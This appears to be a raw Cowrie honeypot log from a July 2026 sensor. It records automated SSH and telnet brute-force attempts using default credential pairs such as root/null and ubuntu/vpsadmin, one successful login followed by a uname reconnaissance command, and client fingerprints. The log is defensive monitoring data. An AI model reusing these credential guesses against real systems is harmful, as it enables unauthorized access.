{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:57.011947Z","src_ip":"91.92.40.153","session":"18acb01e60c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55624,"dst_ip":"159.203.135.109","dst_port":22,"session":"edbda7ae02ce","protocol":"ssh","message":"New connection: 160.187.174.22:55624 (159.203.135.109:22) [session: edbda7ae02ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:57.371788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:57.376103Z","src_ip":"160.187.174.22","session":"edbda7ae02ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:57.727586Z","src_ip":"91.92.40.153","session":"18acb01e60c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:57.976743Z","src_ip":"91.92.40.153","session":"18acb01e60c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:57.979609Z","src_ip":"91.92.40.153","session":"18acb01e60c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:57.985946Z","src_ip":"160.187.174.22","session":"edbda7ae02ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:58.075044Z","src_ip":"91.92.40.153","session":"18acb01e60c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:58.079977Z","src_ip":"91.92.40.153","session":"18acb01e60c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svnuser","password":"svnuser","message":"login attempt [svnuser/svnuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:58.733056Z","src_ip":"160.187.174.22","session":"edbda7ae02ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:59.990921Z","src_ip":"160.187.174.22","session":"edbda7ae02ce","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:01.254452Z","src_ip":"139.99.74.35","session":"6fd85e1d8736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:01.260081Z","src_ip":"139.99.74.35","session":"6fd85e1d8736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":39314,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e680c9a845","protocol":"ssh","message":"New connection: 91.92.40.153:39314 (10.17.0.5:22) [session: c9e680c9a845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:02.662936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:02.784214Z","src_ip":"91.92.40.153","session":"c9e680c9a845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:02.787053Z","src_ip":"91.92.40.153","session":"c9e680c9a845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:03.602457Z","src_ip":"91.92.40.153","session":"c9e680c9a845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:05.076695Z","src_ip":"91.92.40.153","session":"c9e680c9a845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":39332,"dst_ip":"10.17.0.5","dst_port":22,"session":"c91780256334","protocol":"ssh","message":"New connection: 91.92.40.153:39332 (10.17.0.5:22) [session: c91780256334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:08.471714Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43584,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9710a645442","protocol":"telnet","message":"New connection: 170.64.224.25:43584 (159.203.135.109:23) [session: f9710a645442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:08.538007Z"}
{"eventid":"cowrie.session.closed","duration":34.534472942352295,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:08.766217Z","src_ip":"170.64.224.25","session":"f7be3373a5fb","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:09.146960Z","src_ip":"91.92.40.153","session":"c91780256334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:09.149873Z","src_ip":"91.92.40.153","session":"c91780256334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:10.516512Z","src_ip":"91.92.40.153","session":"c91780256334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:11.921539Z","src_ip":"91.92.40.153","session":"c91780256334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56706,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5d62e0c553f","protocol":"ssh","message":"New connection: 91.92.40.153:56706 (10.17.0.5:22) [session: b5d62e0c553f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:14.188541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:14.480183Z","src_ip":"91.92.40.153","session":"b5d62e0c553f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:14.483260Z","src_ip":"91.92.40.153","session":"b5d62e0c553f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:16.047525Z","src_ip":"91.92.40.153","session":"b5d62e0c553f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:17.241475Z","src_ip":"91.92.40.153","session":"b5d62e0c553f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.88669180870056,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:19.202007Z","src_ip":"170.64.224.25","session":"bfe9c2247d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56752,"dst_ip":"10.17.0.5","dst_port":22,"session":"42f7df1b501f","protocol":"ssh","message":"New connection: 91.92.40.153:56752 (10.17.0.5:22) [session: 42f7df1b501f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:20.871375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:20.885783Z","src_ip":"91.92.40.153","session":"42f7df1b501f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:20.962032Z","src_ip":"91.92.40.153","session":"42f7df1b501f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:21.372504Z","src_ip":"91.92.40.153","session":"42f7df1b501f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:22.610878Z","src_ip":"91.92.40.153","session":"42f7df1b501f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54344,"dst_ip":"159.203.135.109","dst_port":22,"session":"23addbd9dc57","protocol":"ssh","message":"New connection: 160.187.174.22:54344 (159.203.135.109:22) [session: 23addbd9dc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:23.807519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:23.860056Z","src_ip":"160.187.174.22","session":"23addbd9dc57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:24.055453Z","src_ip":"160.187.174.22","session":"23addbd9dc57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:25.040933Z","src_ip":"160.187.174.22","session":"23addbd9dc57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"vpsadmin","message":"login attempt [ubuntu/vpsadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:25.243640Z","src_ip":"139.99.74.35","session":"6fd85e1d8736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:26.295060Z","src_ip":"160.187.174.22","session":"23addbd9dc57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41680,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ed6648c2aa0","protocol":"ssh","message":"New connection: 91.92.40.153:41680 (10.17.0.5:22) [session: 4ed6648c2aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:26.805568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:17:26.954737Z","src_ip":"91.92.40.153","session":"4ed6648c2aa0","protocol":"ssh"}
